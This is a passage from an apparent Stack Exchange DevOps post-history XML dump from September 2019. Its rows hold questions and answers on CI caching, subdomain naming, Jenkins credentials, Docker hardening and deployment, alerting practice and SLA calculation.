environment variable but since the key's only purpose is to be unique for certain unique inputs, using the checksum works just as well.&#xD;&#xA;&#xD;&#xA;  [1]: https://circleci.com/docs/2.0/caching/#using-keys-and-templates&#xD;&#xA;  [2]: https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="27035" PostHistoryTypeId="34" PostId="9147" RevisionGUID="c6a0ac32-8ed2-46d1-a2fd-fe7a0202844c" CreationDate="2019-09-16T14:23:33.463" UserId="13" Comment="42" />
  <row Id="27036" PostHistoryTypeId="2" PostId="9178" RevisionGUID="8886cbbf-343f-4888-907f-779b214930db" CreationDate="2019-09-16T16:01:53.963" UserId="17044" Text="Check the login page, e.g. http://localhost:8080/login&#xD;&#xA;&#xD;&#xA;Most pages are password protected but not this one (or you couldn't log in).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27037" PostHistoryTypeId="2" PostId="9179" RevisionGUID="16905835-7292-4dfc-b533-02fd477bcc75" CreationDate="2019-09-16T17:11:09.580" UserId="17111" Text="If we have two components in a API&#xD;&#xA;&#xD;&#xA;`api` `front-end` &#xD;&#xA;&#xD;&#xA;and we have three environments `staging` `qa` `development`&#xD;&#xA;&#xD;&#xA;and a domain name `superproduct.com`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What would be the most logical domain spacing:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;http://development.front-end.superproduct.com&#xD;&#xA;http://development.api.superproduct.com&#xD;&#xA;&#xD;&#xA;http://qa.front-end.superproduct.com&#xD;&#xA;http://qa.api.superproduct.com&#xD;&#xA;&#xD;&#xA;http://staging.front-end.superproduct.com&#xD;&#xA;http://staging.api.superproduct.com&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;or the other way around:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;http://front-end.development.superproduct.com&#xD;&#xA;http://api.development.superproduct.com&#xD;&#xA;&#xD;&#xA;http://front-end.qa.superproduct.com&#xD;&#xA;http://api.qa.superproduct.com&#xD;&#xA;&#xD;&#xA;http://front-end.staging.superproduct.com&#xD;&#xA;http://api.staging.superproduct.com&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="27038" PostHistoryTypeId="1" PostId="9179" RevisionGUID="16905835-7292-4dfc-b533-02fd477bcc75" CreationDate="2019-09-16T17:11:09.580" UserId="17111" Text="Sub-subdomain Domain name for different environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="27039" PostHistoryTypeId="3" PostId="9179" RevisionGUID="16905835-7292-4dfc-b533-02fd477bcc75" CreationDate="2019-09-16T17:11:09.580" UserId="17111" Text="&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27042" PostHistoryTypeId="2" PostId="9182" RevisionGUID="3f613268-345c-4b84-83e7-8e8755993612" CreationDate="2019-09-16T19:51:55.220" UserId="16765" Text="We install things in the `before_script` section of the `.gitlab-ci.yml` that way on every run of the runner we know what packages exist for each stage." ContentLicense="CC BY-SA 4.0" />
  <row Id="27048" PostHistoryTypeId="2" PostId="9184" RevisionGUID="af67f628-f4ff-4537-bfb8-775378e19943" CreationDate="2019-09-17T05:06:55.580" UserId="17119" Text="We are a small team with few resources and we have a product which is near completion. The stack comprises of a few Java Spring Applications, a Python Application and a Windows Application and using a Postgresql DB. We have a single physical system where till now, we used to deploy all of these application and test them.&#xD;&#xA;&#xD;&#xA;Now we are in a situation where we would need to have multiple versions of this stack running at the same time. For eg. there should be a stable running version and at least 2 versions under testing. We want to achieve this using the single Windows system we have. Is there a way to achieve this? How viable is using multiple Docker images?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27049" PostHistoryTypeId="1" PostId="9184" RevisionGUID="af67f628-f4ff-4537-bfb8-775378e19943" CreationDate="2019-09-17T05:06:55.580" UserId="17119" Text="Deploying different versions of the same application stack in the same system" ContentLicense="CC BY-SA 4.0" />
  <row Id="27050" PostHistoryTypeId="3" PostId="9184" RevisionGUID="af67f628-f4ff-4537-bfb8-775378e19943" CreationDate="2019-09-17T05:06:55.580" UserId="17119" Text="&lt;docker&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27051" PostHistoryTypeId="2" PostId="9185" RevisionGUID="ab12b6b0-d99c-4a4b-975f-92c17eff7853" CreationDate="2019-09-17T06:59:34.167" UserId="16959" Text="This might help you with your problem.&#xD;&#xA;In the normal pipeline or any Jenkins job, we can define parameters which can be accessed via say `${env.SOME_VARIABLE}`&#xD;&#xA;&#xD;&#xA;My solution for using environment variables in the Jenkins Multibranch Pipeline.&#xD;&#xA;Scenario. Say you have a variable named VARIABLE whose value is `123456789`.&#xD;&#xA;**Create a secret text with id and description.**&#xD;&#xA;&#xD;&#xA;Secret Text: 123456789&#xD;&#xA;**NOTE**: In Jenkins, the secret text will be completely hidden.&#xD;&#xA;Id: VARIABLE&#xD;&#xA;**NOTE**: You can define it as you want. If left empty a random value will be assigned to it in the form as45f2sf-43rs-4sdf-s3f3-329f9bc9ae269&#xD;&#xA;Description: VARIABLE&#xD;&#xA;**NOTE**: Description for the variable.&#xD;&#xA;&#xD;&#xA;Once this is created in your multibranch pipeline Jenkinsfile, you can add the following to access those variables whenever required.&#xD;&#xA;&#xD;&#xA;&gt; pipeline {&#xD;&#xA;&gt;    agent any&#xD;&#xA;&gt;    environment { &#xD;&#xA;&gt;      SECRET_VARIABLE = credentials(&quot;VARIABLE&quot;) &#xD;&#xA;&gt;    }&#xD;&#xA;&gt;    stages {&#xD;&#xA;&gt;      stage('stage') {&#xD;&#xA;&gt;        steps {&#xD;&#xA;&gt;          echo &quot;This is a secret variable: $SECRET_VARIABLE&quot;&#xD;&#xA;&gt;        }&#xD;&#xA;&gt;      }&#xD;&#xA;&gt;    }&#xD;&#xA;&gt;  }         &#xD;&#xA;&#xD;&#xA;**PS: The variables will appear in a format `****` **" ContentLicense="CC BY-SA 4.0" />
  <row Id="27052" PostHistoryTypeId="5" PostId="9185" RevisionGUID="77ceba04-a114-4232-aeb9-77637ba51e98" CreationDate="2019-09-17T07:08:10.917" UserId="16959" Comment="deleted 9 characters in body" Text="This might help you with your problem.&#xD;&#xA;In the normal pipeline or any Jenkins job, we can define parameters which can be accessed via say `${env.SOME_VARIABLE}`&#xD;&#xA;&#xD;&#xA;My solution for using environment variables in the Jenkins Multibranch Pipeline.&#xD;&#xA;Scenario. Say you have a variable named VARIABLE whose value is `123456789`.&#xD;&#xA;&#xD;&#xA;**Create a secret text with id and description.**&#xD;&#xA;&#xD;&#xA; - Secret Text: 123456789&#xD;&#xA;&#xD;&#xA;**NOTE**: In Jenkins, the secret text will be completely hidden.&#xD;&#xA;&#xD;&#xA;- Id: VARIABLE&#xD;&#xA;&#xD;&#xA;**NOTE**: You can define it as you want. If left empty a random value will be assigned to it in the form as45f2sf-43rs-4sdf-s3f3-329f9bc9ae269&#xD;&#xA;&#xD;&#xA;- Description: VARIABLE&#xD;&#xA;&#xD;&#xA;**NOTE**: Description for the variable.&#xD;&#xA;&#xD;&#xA;Once this is created in your multibranch pipeline Jenkinsfile, you can add the following to access those variables whenever required.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;  agent any&#xD;&#xA;    environment { &#xD;&#xA;      SECRET_VARIABLE = credentials(&quot;VARIABLE&quot;) &#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;      stage('stage') {&#xD;&#xA;        steps {&#xD;&#xA;          echo &quot;This is a secret variable: $SECRET_VARIABLE&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;   }&#xD;&#xA;}         &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**PS: The variables will appear in a format `****` **" ContentLicense="CC BY-SA 4.0" />
  <row Id="27053" PostHistoryTypeId="50" PostId="4336" RevisionGUID="ca734501-6f72-423a-87b5-302771dcc74f" CreationDate="2019-09-17T12:01:20.883" UserId="-1" />
  <row Id="27058" PostHistoryTypeId="2" PostId="9188" RevisionGUID="ec77dbfe-726d-4d35-9e01-a9d66fd2ded1" CreationDate="2019-09-17T17:02:16.140" UserId="12138" Text="First of all, I would **not** recommend to use a single system for running stable and testing version both on the same system. There are many reasons for this such as:&#xD;&#xA;&#xD;&#xA; - Your `testing` version can cause cpu and memory spikes on system which will ultimately affect your `stable` version and end users.&#xD;&#xA; - Secondly, it will be difficult to manage the dependencies and resources for multiple versions in a single system. &#xD;&#xA; - It can also take a lot of debugging time if the monitoring is not properly setup. &#xD;&#xA; &#xD;&#xA;Ideally, you should use 2 different system. One for running the `stable` version and other `testing` versions. It will be easy to manage and always a good practice to keep it on different stack.&#xD;&#xA;&#xD;&#xA;Still, if you want to use a single system, then yes, you can use docker which will avoid a lot of conflict issues which can arise. Also, the dependencies and shared libraries can be managed easily with different docker images and running docker containers. &#xD;&#xA;&#xD;&#xA;If the team is proficient in docker, you can also use `docker swarm` to setup clusters. You can setup different clusters for `stable` and `testing` versions.&#xD;&#xA;&#xD;&#xA;I hope you chose the best possible option and implement it." ContentLicense="CC BY-SA 4.0" />
  <row Id="27059" PostHistoryTypeId="2" PostId="9189" RevisionGUID="10f8a1af-7733-4848-8f18-a119b00a180d" CreationDate="2019-09-17T17:16:22.177" UserId="12138" Text="Both are completely correct. It can differ organisation by organisation. &#xD;&#xA;Also, once you start using one of the domain namespace type, you will gradually remember the format and no issues will come. However, I can see one issue here which is related to SSL. &#xD;&#xA;&#xD;&#xA;If you go with any one of the above mentioned namespaces, you need to generate multiple SSL certificates such as `*.api.superproduct.com` and `*.front-end.superproduct.com`.&#xD;&#xA;&#xD;&#xA;If you go with other namespace type then SSL certs will be required for ` *.staging.superproduct.com`, `*.qa.superproduct.com` and `*.development.superproduct.com`.&#xD;&#xA;&#xD;&#xA;To avoid this, I would suggest you to have the domains in either of the following formats.&#xD;&#xA;&#xD;&#xA;1. `&lt;component-name&gt;-&lt;env-name&gt;.superproduct.com`&#xD;&#xA;&#xD;&#xA;Examples are:&#xD;&#xA;`api-qa.superproduct.com`, `api-staging.superproduct.com` etc.&#xD;&#xA;&#xD;&#xA;2. `&lt;env-name&gt;-&lt;component-name&gt;.superproduct.com`&#xD;&#xA;&#xD;&#xA;Examples are:&#xD;&#xA;`qa-api.superproduct.com`, `staging-api.superproduct.com` etc.&#xD;&#xA;&#xD;&#xA;In this case, only one SSL certificate for `*.superproduct.com` will be required.&#xD;&#xA;&#xD;&#xA;You can go ahead with the best possible option as per your requirements and analysis." ContentLicense="CC BY-SA 4.0" />
  <row Id="27063" PostHistoryTypeId="5" PostId="8803" RevisionGUID="bf7e9784-2740-48aa-86d5-1d75f15f32b2" CreationDate="2019-09-17T17:41:27.093" UserId="6354" Comment="Fixed typos, extrapolated on first bullet and added a better closing" Text="After years of developing a variety of monitoring tools which employ a variety of approaches to track data points ranging from filtered logs, system stats (querying data from /proc), and putting concise “tagging” code inside application workflow code to track overall performance. From this, I have learned some key principles to avoid “alert fatigue” which is simply getting so many alert messages by your pager, email, or whatever notifier you use that your staff starts ignoring important events or just drives them slowly insane.&#xD;&#xA;&#xD;&#xA;These are just what I would say are relevant to your question, but of course there are gobs of other principles to good monitoring and alerting.&#xD;&#xA;&#xD;&#xA; - **All alerts should be “actionable”**. That is, if an alert notification is sent, it means something should be done. This is the principle cause of “alert fatigue” because there are too many alerts that “can be ignored” and it instills bad habits. To say an alert is &quot;actionable&quot; it could just require manually running a process or restarting something, or just making sure that your site is “holistically” healthy. Don’t page people in the middle of the night for no good reason. This may seem obvious, but it's common to create alerts that do with without realizing it, so one good practice is to make sure you receive any new alerts you create so that you have actual first-hand experience of what the support engineers receive so you can tune or adapt them as necessary, all they while communicating what you are doing so support engineers realize that you're &quot;getting the kinks out&quot; and don't immediately get in the mindset that this new alert is garbage.&#xD;&#xA;If you have alerts that you wind up telling others “just ignore it” without improving it in any way, you have a critical problem and that monitor should be either tuned to be useful or at least have alerting turned off. This “alert noise” creates the “boy who cried ‘wolf’ problem” and you eventually will have people ignoring things that will inevitably be the notice of actual site degradation.&#xD;&#xA; - **Notification “insistence should be appropriate to the problem**. For example, when you have a production impacting event, day or night, appropriate people who can fix the problem should be paged where the  expectation is that the alert gets acknowledged in a short time before automatically getting escalated, etc.... On the other hand, If the issue is something that can wait until the next business day such as a disk slowly filling up or a not production issue, send an email or message to a Slack channel to be addressed later, probably the next business day.&#xD;&#xA; - **Use monitoring dependencies whenever possible to avoid alert “storms**”. A proper monitoring toolset should allow you to set up a dependency relationship so that alerting is suppressed if a larger (worse) issue would cause monitoring failures. A Simple example would be if a host is unreachable, send just a network alert. Don’t send alerts about disk, ports, etc... all of which require network connectivity to ever work. That just muddies the waters when you need clarity so you can quickly resolve problems by looking at your alert list for a couple seconds, not scrolling through pages of alerts.&#xD;&#xA;&#xD;&#xA;Start with these first if “alert fatigue” is a problem. If you find that even then the alerts are overwhelming, perhaps you need to focus on automated recovery as the next phase of your monitoring endeavors for incidents where the run-book is discrete." ContentLicense="CC BY-SA 4.0" />
  <row Id="27064" PostHistoryTypeId="5" PostId="8803" RevisionGUID="aa864787-5204-4b78-9f19-bcc835e64aef" CreationDate="2019-09-17T18:05:15.303" UserId="6354" Comment="Added some more examples, fixed some bad grammar, attempted to make points more concise believe it or not." Text="I have spend years developing a variety of monitoring tools which employ a variety of approaches to track data points ranging from filtered logs, collecting system stats (i.e.: querying data from /proc or running a command and parsing output), and/or putting concise “tagging” code inside application workflow code to track overall performance. With all of these different approaches, the process of alerting when conditions are met hasn't changed all that much. From this experience, I have learned some key principles to avoid “alert fatigue” which can be described as simply getting so many alert messages by your pager, email, or mobile notifications that they decide can be ignored (either because they were told to or they took it upon themselves) resulting in your staff ignoring potentially important events, slowly insane, and/or secretly wishing for your early demise.&#xD;&#xA;&#xD;&#xA;That said, these are few key principles in creating triggered alerts which I would say are relevant now as they were 20 years ago. Of course there are gobs of other principles to creating good monitoring and alerting so this is by no means a complete list.&#xD;&#xA;&#xD;&#xA; - **All alerts should be “actionable”**. That is, if an alert notification is sent, it means something should be done by the recipient. Non-actionable alerts is the principle cause of “alert fatigue” because there is a precedent to ignore alerts which can result in situations like &quot;I don't know what this means, so it must be junk&quot;. In contrast, to say an alert is &quot;actionable&quot; this means anything from validating something manually that for whatever reason may not be obvious to automate such as manually running a process so a subjective assessment can be made, or it could mean remediation steps like restarting something. &#xD;&#xA;Don’t page people in the middle of the night for specious reasons where it's unclear whether there is a potential problem or not. This may seem obvious, but it's common to create alerts that do with without realizing it, so one good practice is to make sure you receive any new alerts you create so that you have actual first-hand experience of what the support engineers receive so you can tune or adapt them as necessary, all they while communicating what you are doing so support engineers realize that you're &quot;getting the kinks out&quot; and don't immediately get in the mindset that this new alert is garbage. Once your experience indicates that after a time of tuning the alert conditions so that the notifications are commensurate to a condition that requires action, then communicate that it is &quot;live&quot; and should be treated as such. (Having a way to identify &quot;alerts in development&quot; is also helpful.)&#xD;&#xA;On the other hand, if you or your team has infrastructure that triggers alerts where you wind up telling support staff to “just ignore it” without fixing it in any way, you have a critical process problem. Ideally, this alert should be suspended until it is &quot;fixed&quot;.&#xD;&#xA;In summary, “alert noise” creates the “boy who cried ‘wolf’ problem” and you eventually will have people ignoring things that will inevitably be the notice of actual site degradation and you will get burned. It's not if but when.&#xD;&#xA; - **Notification “insistence&quot; should be appropriate to the problem**. For example, when you have a production impacting event, day or night, appropriate people who can fix the problem should be paged where the  expectation is that the alert gets acknowledged in a short time before automatically getting escalated, etc.... On the other hand, If the issue is something that can wait until the next business day such as a disk slowly filling up or a not production issue, send an email or message to a Slack channel to be addressed later, probably the next business day. Set up some system of priority that has a specific SLA.&#xD;&#xA; - **Use monitoring dependencies whenever possible to avoid alert “storms**”. A proper monitoring toolset should allow you to set up a dependency relationships so that alerting is suppressed if an overarching issue would cause other monitoring failures which would depend on it. A simple example would be if a host is unreachable, send just a network unreachable alert. Don’t send alerts about disk, ports, etc... all of which require network connectivity to ever work and would just give you &quot;unknown&quot; results anyway. That just muddies the waters when you need clarity so you can quickly resolve problems by looking at your alert list for a couple seconds, not scrolling through pages of alerts.&#xD;&#xA;&#xD;&#xA;Start with these three tenets first if “alert fatigue” is an increasing issue in your team. If after doing this and you get to a point where your alerts are meaningful and concise but are are overwhelming in sheer numbers, you probably need to focus on creating automated recovery as the next phase of your monitoring endeavors starting with incidents where the run-book is discrete.&#xD;&#xA;For example, if a web service is unresponsive because of an exception that it cannot recover on its own, instead of sending an alert, attempt a restart. Send the alert only if the restart doesn't resolve it and send a non-urgent message if it does which can be noted during the next business hours." ContentLicense="CC BY-SA 4.0" />
  <row Id="27065" PostHistoryTypeId="2" PostId="9191" RevisionGUID="08e87b36-e5e0-479b-a84d-0bde1f99468e" CreationDate="2019-09-17T19:12:29.990" UserId="2494" Text="I am going through compliance tasks to harden our Docker setup and I am seeing many things like&#xD;&#xA;&#xD;&#xA; - Favor using `docker run` with `docker run --pids-limit 100` to prevent forkbombs&#xD;&#xA; - Favor using `docker run` with `docker run --security-opt=no-new-privileges` to be safe&#xD;&#xA;&#xD;&#xA;etc...&#xD;&#xA;&#xD;&#xA;I want to know if I can apply these settings across the board by, say, putting&#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;...&#xD;&#xA;&quot;pids-limit&quot;: &quot;100&quot;,&#xD;&#xA;&quot;security-opt&quot;: &quot;no-new-privileges&quot;,&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;in `/etc/docker/daemon.json`&#xD;&#xA;&#xD;&#xA;I prefer to just have a hardened config on all my machines I am hardening.&#xD;&#xA;&#xD;&#xA;Tips and tricks?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="27066" PostHistoryTypeId="1" PostId="9191" RevisionGUID="08e87b36-e5e0-479b-a84d-0bde1f99468e" CreationDate="2019-09-17T19:12:29.990" UserId="2494" Text="Mitigating Docker Compliance Issues - Can I put everything in the `daemon.json`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27067" PostHistoryTypeId="3" PostId="9191" RevisionGUID="08e87b36-e5e0-479b-a84d-0bde1f99468e" CreationDate="2019-09-17T19:12:29.990" UserId="2494" Text="&lt;docker&gt;&lt;security&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27072" PostHistoryTypeId="2" PostId="9195" RevisionGUID="64641ef3-9f5d-45a5-8223-8766524c3526" CreationDate="2019-09-18T00:57:20.670" UserId="17143" Text="Starting with Docker for Windows and C# applications.&#xD;&#xA;&#xD;&#xA;I've been able to do some basic building and running of dockerfiles. However, I've run into the first application that doesn't run right out of the gate, and am uncertain how I would begin to troubleshoot it.&#xD;&#xA;&#xD;&#xA;What are some of the techniques used when moving an app into a container (Windows image) for the first time? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27073" PostHistoryTypeId="1" PostId="9195" RevisionGUID="64641ef3-9f5d-45a5-8223-8766524c3526" CreationDate="2019-09-18T00:57:20.670" UserId="17143" Text="Developing in Docker for Windows Basics" ContentLicense="CC BY-SA 4.0" />
  <row Id="27074" PostHistoryTypeId="3" PostId="9195" RevisionGUID="64641ef3-9f5d-45a5-8223-8766524c3526" CreationDate="2019-09-18T00:57:20.670" UserId="17143" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27075" PostHistoryTypeId="50" PostId="6913" RevisionGUID="35ee80c9-20ce-4809-8587-130f9d82e916" CreationDate="2019-09-18T10:02:00.560" UserId="-1" />
  <row Id="27079" PostHistoryTypeId="19" PostId="9123" RevisionGUID="bb23e0a4-fff4-404e-97b8-b44751da50ff" CreationDate="2019-09-18T11:54:14.637" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]}" />
  <row Id="27086" PostHistoryTypeId="2" PostId="9196" RevisionGUID="d213bfc2-4429-439f-bccd-82cd9a6f1b83" CreationDate="2019-09-18T13:30:05.860" UserId="17150" Text="I ended up using {{.ManagerStatus.Addr}} and stripping the port number from the results with sed.  &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;for NODE in $(docker  node ls -f 'role=manager' --format '{{.Hostname}}'); do&#xD;&#xA;  docker node inspect --format '{{.ManagerStatus.Addr}}' ${NODE} | sed 's/:2377//'&#xD;&#xA;done&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27087" PostHistoryTypeId="2" PostId="9197" RevisionGUID="323978cf-4645-4c9e-ac64-326f17844cbc" CreationDate="2019-09-18T14:00:44.237" UserId="15792" Text="The first thing you'll want to do is look for errors.  It sounds like you have a Dockerfile that is creating an image, but when you run the image it appears to not do anything.  There are two immediate things you can do to troubleshoot this:&#xD;&#xA;&#xD;&#xA; 1. Do not use the -d flag when running the image.  This flag runs the container in detached mode and will not display container output to the console.&#xD;&#xA; 2. Examine the [logs][1] from the container.  Even though the container does not appear to be running, it is most likely crashing on start.  You can verify this by using `docker ps -a` which will show you all containers (including ones that have stopped due to crashes).&#xD;&#xA;&#xD;&#xA;Once you know what the error is you can look at whether this is a problem with your startup script or the Dockerfile.  Based on what you've described so far this sounds like you could be missing files in the right location, or the [Entrypoint][2] or [CMD][3] is incorrect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/logs/&#xD;&#xA;  [2]: https://docs.docker.com/engine/reference/builder/#entrypoint&#xD;&#xA;  [3]: https://docs.docker.com/engine/reference/builder/#cmd" ContentLicense="CC BY-SA 4.0" />
  <row Id="27093" PostHistoryTypeId="2" PostId="9200" RevisionGUID="cc95d6c5-83d4-47d9-ad42-075c1b935e5b" CreationDate="2019-09-18T15:56:13.543" UserId="16854" Text="How to write a docker file to deploy a dist file of an Angular Application  In a server.&#xA; I see most of them have used nginx as a server. Why is it so? Is there any specific reason &#xA;&#xA;I want it to be deployed in Apache using alpine as a base image " ContentLicense="CC BY-SA 4.0" />
  <row Id="27094" PostHistoryTypeId="1" PostId="9200" RevisionGUID="cc95d6c5-83d4-47d9-ad42-075c1b935e5b" CreationDate="2019-09-18T15:56:13.543" UserId="16854" Text="Deploy dist file in docker file" ContentLicense="CC BY-SA 4.0" />
  <row Id="27095" PostHistoryTypeId="3" PostId="9200" RevisionGUID="cc95d6c5-83d4-47d9-ad42-075c1b935e5b" CreationDate="2019-09-18T15:56:13.543" UserId="16854" Text="&lt;dockerfile&gt;&lt;nginx&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27096" PostHistoryTypeId="2" PostId="9201" RevisionGUID="63678149-241e-4bc1-a52f-9a54cf324951" CreationDate="2019-09-18T16:07:03.727" UserDisplayName="user17155" Text="GCP publishes a 99.99% uptime SLA for GCE.&#xD;&#xA;&#xD;&#xA;How would I calculate an estimated SLA if my application used services deployed on 1,000 GCE instances? Assuming that the services were dependent on each other, would the estimated downtime per year of my application be 1,000 * 0.0001 = 0.10 or 10% per year?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27097" PostHistoryTypeId="1" PostId="9201" RevisionGUID="63678149-241e-4bc1-a52f-9a54cf324951" CreationDate="2019-09-18T16:07:03.727" UserDisplayName="user17155" Text="Compound calculation of GCP GCE SLAs based on number of instances?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27098" PostHistoryTypeId="3" PostId="9201" RevisionGUID="63678149-241e-4bc1-a52f-9a54cf324951" CreationDate="2019-09-18T16:07:03.727" UserDisplayName="user17155" Text="&lt;google-cloud-platform&gt;&lt;gcp&gt;&lt;sla&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27099" PostHistoryTypeId="2" PostId="9202" RevisionGUID="363fdc2d-69db-4d55-8a48-d9ff70e91fb8" CreationDate="2019-09-18T16:37:45.420" UserId="15792" Text="99.99% SLA uptime roughly translates to 52.5 minutes a year of downtime (calculator [here][1]).  Generally if the service is down, it is down for everything in that geographical area.  So if you had 1000 servers in the same geographical area and that area goes out of service, your downtime would be tied together.&#xD;&#xA;&#xD;&#xA;However, most of the &quot;big&quot; cloud providers (e.g. Google) provide their services across different [regions and zones][2].  By spreading your infrastructure out across different areas, you can make your network more resilient to cloud provider outages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://uptime.is/&#xD;&#xA;  [2]: https://cloud.google.com/compute/docs/regions-zones/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27100" PostHistoryTypeId="2" PostId="9203" RevisionGUID="be08048e-5ee7-473a-8e4b-4bcee06ab6bc" CreationDate="2019-09-18T16:42:53.103" UserId="15792" Text="There are lots of good tutorials for NGINX and it is an easy server to setup with the Angular router.  You can still accomplish this with an Apache server, but you may need more steps in your Dockerfile. As a starting place check out the answer on Stack Overflow [Deploy Angular 2 to Apache Server][1].  These types of server modifications will need to be baked into your Dockerfile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43038060/deploy-angular-2-to-apache-server" ContentLicense="CC BY-SA 4.0" />
  <row Id="27102" PostHistoryTypeId="2" PostId="9204" RevisionGUID="73e22796-38cf-41a6-adf0-403ef41fc4d5" CreationDate="2019-09-18T18:29:31.737" UserId="15792" Text="Check out the [dockerd options][1].  This will apply to all containers managed by the Docker Daemon.&#xD;&#xA;&#xD;&#xA;Docker also has quite a bit of documentation on how to enforce different standards and compliance [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/dockerd/&#xD;&#xA;  [2]: https://docs.docker.com/compliance/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27103" PostHistoryTypeId="5" PostId="5983" RevisionGUID="027abd78-dbb7-4b39-9168-6856cbe2993d" CreationDate="2019-09-18T18:39:40.160" UserId="17159" Comment="When accessing links: Project 'gitlab-org/gitlab-ce' was moved to 'gitlab-org/gitlab-foss'. Please update any links and bookmarks that may still have the old path." Text="A bit late here, but no, you can't have multiple gitlab-ci files per repository.&#xD;&#xA;You can see more information in the following links : &#xD;&#xA;&#xD;&#xA; - https://gitlab.com/gitlab-org/gitlab-foss/issues/18157&#xD;&#xA; - https://gitlab.com/gitlab-org/gitlab-foss/issues/28592&#xD;&#xA;&#xD;&#xA;Now, there are some work in progress about this, but it's not available yet.&#xD;&#xA;For example, you can see here ( https://gitlab.com/gitlab-org/gitlab-foss/issues/56214 ) that they are working on pipeline which can include other (complete) pipelines.&#xD;&#xA;&#xD;&#xA;The `include` keyword is more about reducing the size of your main gitlab-ci file." ContentLicense="CC BY-SA 4.0" />
  <row Id="27104" PostHistoryTypeId="24" PostId="5983" RevisionGUID="027abd78-dbb7-4b39-9168-6856cbe2993d" CreationDate="2019-09-18T18:39:40.160" Comment="Proposed by 17159 approved by -1 edit id of 1071" ContentLicense="CC BY-SA 4.0" />
  <row Id="27105" PostHistoryTypeId="5" PostId="5983" RevisionGUID="57544b0d-8e3b-4923-928c-12ecf31a6f87" CreationDate="2019-09-18T18:39:40.160" UserId="40" Comment="deleted 21 characters in body" Text="No, you can't have multiple gitlab-ci files per repository.&#xD;&#xA;You can see more information in the following links : &#xD;&#xA;&#xD;&#xA; - https://gitlab.com/gitlab-org/gitlab-foss/issues/18157&#xD;&#xA; - https://gitlab.com/gitlab-org/gitlab-foss/issues/28592&#xD;&#xA;&#xD;&#xA;Now, there are some work in progress about this, but it's not available yet.&#xD;&#xA;For example, you can see here ( https://gitlab.com/gitlab-org/gitlab-foss/issues/56214 ) that they are working on pipeline which can include other (complete) pipelines.&#xD;&#xA;&#xD;&#xA;The `include` keyword is more about reducing the size of your main gitlab-ci file." ContentLicense="CC BY-SA 4.0" />
  <row Id="27106" PostHistoryTypeId="2" PostId="9205" RevisionGUID="24f07a38-05c4-4ff7-80b9-6928046d44e5" CreationDate="2019-09-19T08:27:49.273" UserId="519" Text="I found an issue with Ansible/Python causing a failure to decrypt.&#xD;&#xA;&#xD;&#xA;Specifically, Ansible 2.7.10 and 2.7.13 under Python 3.6.8 on Ubuntu 18.04 would not decrypt (using `ansible-vault edit -vvvvv`) a vault file that was identical to file that decrypted OK on macOS 10.13 using Python 3.7.2 with same Ansible versions.&#xD;&#xA;&#xD;&#xA;Upgrading to Python 3.7.3 on Ubuntu (using `apt-get install python3.7` on 18.04) fixed this.&#xD;&#xA;&#xD;&#xA;Your issue may be different, but if on Python 3.6 or lower, I would try upgrading to 3.7." ContentLicense="CC BY-SA 4.0" />
  <row Id="27107" PostHistoryTypeId="50" PostId="8899" RevisionGUID="0f8e466e-ad7a-473e-91de-3c5f112a700e" CreationDate="2019-09-19T10:01:20.543" UserId="-1" />
  <row Id="27108" PostHistoryTypeId="50" PostId="8928" RevisionGUID="085a6d34-be06-435c-b9a5-2b2037c0093d" CreationDate="2019-09-19T12:01:00.270" UserId="-1" />
  <row Id="27113" PostHistoryTypeId="2" PostId="9207" RevisionGUID="9f79a3dd-5ded-4849-84c8-6c261c1139a4" CreationDate="2019-09-19T13:29:28.423" UserId="4557" Text="If you had one e-mail job that was a downstream of all the other jobs finishing via the [Join Plugin][1], the e-mail job should only fire off after everything is completed. &#xD;&#xA;&#xD;&#xA;It seems the &quot;normal&quot; build trigger will cause an issue. https://stackoverflow.com/questions/25912639/how-to-build-a-jenkins-project-only-when-two-other-projects-have-successfully-be&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Join+Plugin" ContentLicense="CC BY-SA 4.0" />
